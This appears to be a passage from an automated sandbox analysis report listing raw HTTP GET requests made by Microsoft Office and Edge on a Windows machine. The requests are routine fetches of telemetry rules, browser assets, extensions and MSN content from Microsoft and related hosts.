Source: global traffic HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730952216&P2=404&P3=2&P4=mbJDq%2bu1zqm8tJBtAar0RkTJ7bXtR0ULeG4zUHTjnedzLLBv0ah%2fO4v5zUapTv1d72rrslUlzVWCi67kIqNtRA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: ZOLW+i+/Lo/WpRng9FXPEHSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0ABDAC717D1767F02A72B9587C626683&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308|10837393&bcnt=1|1&asid=a060400fc3c34378d0e5fff8551e42bb HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: */*Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0ABDAC717D1767F02A72B9587C626683; _EDGE_S=F=1&SID=04635595E2586FFF2FF940BCE3336E96; _EDGE_V=1
Source: global traffic HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
